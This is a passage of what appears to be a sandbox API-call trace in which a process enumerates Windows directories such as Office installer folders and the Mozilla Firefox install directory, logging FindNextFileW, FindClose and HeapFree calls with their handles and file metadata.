ftCreationTime.dwLowDateTime=0x22d01df, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x22d01df, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22f6470, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16.0.0.0__71E9BCE111E9429C", cAlternateFileName="1600~1.0__")) returned 0 [0251.803] FindClose (in: hFindFile=0x6cfa08 | out: hFindFile=0x6cfa08) returned 1 [0251.803] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0251.803] FindNextFileW (in: hFindFile=0x6cfd48, lpFindFileData=0x396eb94 | out: lpFindFileData=0x396eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x863456d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x863456d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x863456d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Office.BusinessApplications.Diagnostics", cAlternateFileName="MICROS~1.DIA")) returned 1 [0251.803] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0251.803] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x396e918 | out: lpFindFileData=0x396e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x863456d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x863456d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x863456d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16.0.0.0__71E9BCE111E9429C", cAlternateFileName="1600~1.0__")) returned 0 [0251.803] FindClose (in: hFindFile=0x6cf6c8 | out: hFindFile=0x6cf6c8) returned 1 [0251.803] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0251.803] FindNextFileW (in: hFindFile=0x6cfd48, lpFindFileData=0x396eb94 | out: lpFindFileData=0x396eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37869c8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x37869c8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37869c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Office.BusinessData", cAlternateFileName="MICROS~2.BUS")) returned 1 [0251.804] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0251.804] FindNextFileW (in: hFindFile=0x6cfa08, lpFindFileData=0x396e918 | out: lpFindFileData=0x396e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37869c8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x37869c8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37869c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16.0.0.0__71E9BCE111E9429C", cAlternateFileName="1600~1.0__")) returned 0 [0251.804] FindClose (in: hFindFile=0x6cfa08 | out: hFindFile=0x6cfa08) returned 1 [0251.804] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0251.804] FindNextFileW (in: hFindFile=0x6cfd48, lpFindFileData=0x396eb94 | out: lpFindFileData=0x396eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1d97f24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1d97f24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Office.BusinessData.Intl", cAlternateFileName="MICROS~1.INT")) returned 1 [0251.804] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0251.804] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x396e918 | out: lpFindFileData=0x396e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1d97f24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1d97f24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16.0.0.0__71E9BCE111E9429C", cAlternateFileName="1600~1.0__")) returned 0 [0251.804] FindClose (in: hFindFile=0x6cf6c8 | out: hFindFile=0x6cf6c8) returned 1 [0251.804] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0251.804] FindNextFileW (in: hFindFile=0x6cfd48, lpFindFileData=0x396eb94 | out: lpFindFileData=0x396eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1d97f24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1d97f24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Office.BusinessData.Intl", cAlternateFileName="MICROS~1.INT")) returned 0 [0251.804] FindClose (in: hFindFile=0x6cfd48 | out: hFindFile=0x6cfd48) returned 1 [0251.804] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0251.804] FindNextFileW (in: hFindFile=0x6cfd08, lpFindFileData=0x396ee10 | out: lpFindFileData=0x396ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x863456d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x863456d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GAC_MSIL", cAlternateFileName="")) returned 0 [0251.804] FindClose (in: hFindFile=0x6cfd08 | out: hFindFile=0x6cfd08) returned 1 [0251.804] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0251.806] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x396f08c | out: lpFindFileData=0x396f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb32840, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="INF", cAlternateFileName="")) returned 1 [0251.806] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0251.806] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x396f08c | out: lpFindFileData=0x396f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc26abeaf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc369dacd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc369dacd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Installer", cAlternateFileName="INSTAL~1")) returned 1 [0251.808] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0251.808] FindNextFileW (in: hFindFile=0x6cfd08, lpFindFileData=0x396ee10 | out: lpFindFileData=0x396ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2f507b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc2f507b2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc2f507b2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-001F-0409-1000-0000000FF1CE}", cAlternateFileName="{90160~3")) returned 1 [0251.809] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0251.809] FindNextFileW (in: hFindFile=0x6cfd08, lpFindFileData=0x396ee10 | out: lpFindFileData=0x396ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc369dacd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc369dacd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc369dacd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-001F-040C-1000-0000000FF1CE}", cAlternateFileName="{90160~4")) returned 1 [0251.810] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0251.810] FindNextFileW (in: hFindFile=0x6cfd08, lpFindFileData=0x396ee10 | out: lpFindFileData=0x396ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc369dacd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc369dacd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc369dacd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-001F-0C0A-1000-0000000FF1CE}", cAlternateFileName="{9B17A~1")) returned 1 [0251.810] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0251.810] FindNextFileW (in: hFindFile=0x6cfd08, lpFindFileData=0x396ee10 | out: lpFindFileData=0x396ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc28c2111, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc28c2111, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc28c2111, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-006E-0409-1000-0000000FF1CE}", cAlternateFileName="{90160~2")) returned 1 [0251.810] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0251.810] FindNextFileW (in: hFindFile=0x6cfd08, lpFindFileData=0x396ee10 | out: lpFindFileData=0x396ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc28c2111, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc28c2111, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc28c2111, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-006E-0409-1000-0000000FF1CE}", cAlternateFileName="{90160~2")) returned 0 [0251.810] FindClose (in: hFindFile=0x6cfd08 | out: hFindFile=0x6cfd08) returned 1 [0251.810] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0251.810] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x396f08c | out: lpFindFileData=0x396f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e24d55a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e24d55a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e273816, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PCHEALTH", cAlternateFileName="")) returned 1 [0251.810] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0251.810] FindNextFileW (in: hFindFile=0x6cfa48, lpFindFileData=0x396eb94 | out: lpFindFileData=0x396eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e299a0e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e299a0e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e299a0e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="QSIGNOFF", cAlternateFileName="")) returned 1 [0251.811] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0251.811] FindNextFileW (in: hFindFile=0x6cfa48, lpFindFileData=0x396eb94 | out: lpFindFileData=0x396eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e299a0e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e299a0e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e299a0e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="QSIGNOFF", cAlternateFileName="")) returned 0 [0251.811] FindClose (in: hFindFile=0x6cfa48 | out: hFindFile=0x6cfa48) returned 1 [0251.811] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0251.811] FindNextFileW (in: hFindFile=0x6cfa08, lpFindFileData=0x396ee10 | out: lpFindFileData=0x396ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e273816, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e299a0e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e299a0e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ERRORREP", cAlternateFileName="")) returned 0 [0251.811] FindClose (in: hFindFile=0x6cfa08 | out: hFindFile=0x6cfa08) returned 1 [0251.811] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0251.811] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x396f08c | out: lpFindFileData=0x396f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2daddbf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b285e60, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b285e60, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SHELLNEW", cAlternateFileName="")) returned 1 [0251.811] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0251.811] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x396f08c | out: lpFindFileData=0x396f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2daddbf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b285e60, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b285e60, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SHELLNEW", cAlternateFileName="")) returned 0 [0251.811] FindClose (in: hFindFile=0x6cf988 | out: hFindFile=0x6cf988) returned 1 [0251.811] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0251.813] FindNextFileW (in: hFindFile=0x6cff88, lpFindFileData=0x396f308 | out: lpFindFileData=0x396f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0 [0251.813] FindClose (in: hFindFile=0x6cff88 | out: hFindFile=0x6cff88) returned 1 [0251.813] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0251.813] FindNextFileW (in: hFindFile=0x6d0408, lpFindFileData=0x396f584 | out: lpFindFileData=0x396f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VFS", cAlternateFileName="")) returned 0 [0251.813] FindClose (in: hFindFile=0x6d0408 | out: hFindFile=0x6d0408) returned 1 [0251.814] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4145068 | out: hHeap=0x670000) returned 1 [0251.814] FindNextFileW (in: hFindFile=0x6d03c8, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffa1ab, dwReserved1=0x1ae, cFileName="root", cAlternateFileName="")) returned 0 [0251.814] FindClose (in: hFindFile=0x6d03c8 | out: hFindFile=0x6d03c8) returned 1 [0251.814] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4178310 | out: hHeap=0x670000) returned 1 [0251.815] FindNextFileW (in: hFindFile=0x6d0248, lpFindFileData=0x396fa7c | out: lpFindFileData=0x396fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e68d8a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82e68d8a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x82e68d8a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1353, dwReserved1=0xffffcb62, cFileName="Microsoft Office 15", cAlternateFileName="MICROS~1")) returned 1 [0251.815] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4145068 | out: hHeap=0x670000) returned 1 [0251.816] FindNextFileW (in: hFindFile=0x6cff88, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e68d8a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82e68d8a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x82e8efda, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffa1ab, dwReserved1=0x1ae, cFileName="ClientX64", cAlternateFileName="CLIENT~1")) returned 0 [0251.816] FindClose (in: hFindFile=0x6cff88 | out: hFindFile=0x6cff88) returned 1 [0251.816] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4178310 | out: hHeap=0x670000) returned 1 [0251.816] FindNextFileW (in: hFindFile=0x6d0248, lpFindFileData=0x396fa7c | out: lpFindFileData=0x396fa7c*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xe99e772e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xea263510, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xea263510, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1353, dwReserved1=0xffffcb62, cFileName="Mozilla Firefox", cAlternateFileName="MOZILL~1")) returned 1 [0251.818] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0251.818] FindNextFileW (in: hFindFile=0x6cff88, lpFindFileData=0x396f584 | out: lpFindFileData=0x396f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd77219, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xedb1a83d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xedb1a83d, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="features", cAlternateFileName="")) returned 1 [0251.820] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0251.820] FindNextFileW (in: hFindFile=0x6cff88, lpFindFileData=0x396f584 | out: lpFindFileData=0x396f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdc36bc, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xecdc36bc, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb5133d80, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x20853ba, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="omni.ja", cAlternateFileName="")) returned 1 [0251.820] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0251.820] FindNextFileW (in: hFindFile=0x6cff88, lpFindFileData=0x396f584 | out: lpFindFileData=0x396f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xece35df2, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xed7d339e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xed7d339e, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VisualElements", cAlternateFileName="VISUAL~1")) returned 0 [0251.821] FindClose (in: hFindFile=0x6cff88 | out: hFindFile=0x6cff88) returned 1 [0251.821] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4145068 | out: hHeap=0x670000) returned 1 [0251.821] FindNextFileW (in: hFindFile=0x6d03c8, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec033d59, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec033d59, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xe2ca280, ftLastWriteTime.dwHighDateTime=0x1d31cde, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffa1ab, dwReserved1=0x1ae, cFileName="chrome.manifest", cAlternateFileName="CHROME~1.MAN")) returned 1 [0251.821] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0251.821] FindNextFileW (in: hFindFile=0x6d0408, lpFindFileData=0x396f584 | out: lpFindFileData=0x396f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecc92398, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeccb8639, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xeccb8639, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pref", cAlternateFileName="")) returned 0 [0251.821] FindClose (in: hFindFile=0x6d0408 | out: hFindFile=0x6d0408) returned 1 [0251.821] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4145068 | out: hHeap=0x670000) returned 1 [0251.821] FindNextFileW (in: hFindFile=0x6d03c8, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec0a647c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec0a647c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x4504b780, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x1ee, dwReserved0=0xffffa1ab, dwReserved1=0x1ae, cFileName="dependentlibs.list", cAlternateFileName="DEPEND~1.LIS")) returned 1 [0251.821] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4145068 | out: hHeap=0x670000) returned 1 [0251.821] FindNextFileW (in: hFindFile=0x6d03c8, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec0cc6d9, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec0cc6d9, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x767d8300, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x7cdd0, dwReserved0=0xffffa1ab, dwReserved1=0x1ae, cFileName="firefox.exe", cAlternateFileName="")) returned 1 [0251.822] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4145068 | out: hHeap=0x670000) returned 1 [0251.822] FindNextFileW (in: hFindFile=0x6d03c8, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec118bb8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec118bb8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x77aeb000, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x383, dwReserved0=0xffffa1ab, dwReserved1=0x1ae, cFileName="freebl3.chk", cAlternateFileName="")) returned 1 [0251.822] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0251.822] FindNextFileW (in: hFindFile=0x6d0408, lpFindFileData=0x396f584 | out: lpFindFileData=0x396f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecaee98b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xecb87321, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xecb87321, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="0.1", cAlternateFileName="")) returned 0 [0251.822] FindClose (in: hFindFile=0x6d0408 | out: hFindFile=0x6d0408) returned 1 [0251.822] HeapFree (in: 